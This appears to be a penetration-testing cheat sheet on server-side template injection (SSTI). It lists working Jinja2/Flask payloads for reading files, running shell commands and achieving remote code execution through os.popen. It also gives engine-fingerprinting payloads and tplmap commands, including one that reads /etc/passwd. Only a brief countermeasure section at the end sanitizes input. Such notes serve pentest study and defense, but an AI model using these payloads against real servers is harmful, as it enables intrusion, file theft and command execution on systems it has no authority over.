killchain-compendium/exploit/web/ssti/ssti.md

Server Side Template Injection (SSTI)

Pass in parameters to control the template.

Usage

• Sanity test

{{2+2}} 

• Flask template LFI

{{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}}

• Executing commands

{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}

• RCE on server

{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}}

Identification of Template Engine

Identify via payload checking

• Smarty: a{*comment*}b
• Mako: ${"z".join("ab")}
• Twig or Jinja2

{{7*7}}
{{7*'7'}}

Tools

TPlmap

git clone https://github.com/epinna/tplmap.git
pip2 install -r requirements

HTTP Method	Parameter
GET	tplmap -u <url>/?<vulnparam>
POST	tplmap -u <url> -d '<vulnparam>'

• Using remote command

tplmap -u http://<ip>:<port>/ -d '<vulnparam>' --os-cmd "cat /etc/passwd"

Countermeasure

• Remove everything in user input but alnum. Passing data, not data to f-string.

input = re.sub("[^A-Za-z0-9]", "", input)
template = "User input is {{ input }}"
return render_template_string(template, input=input)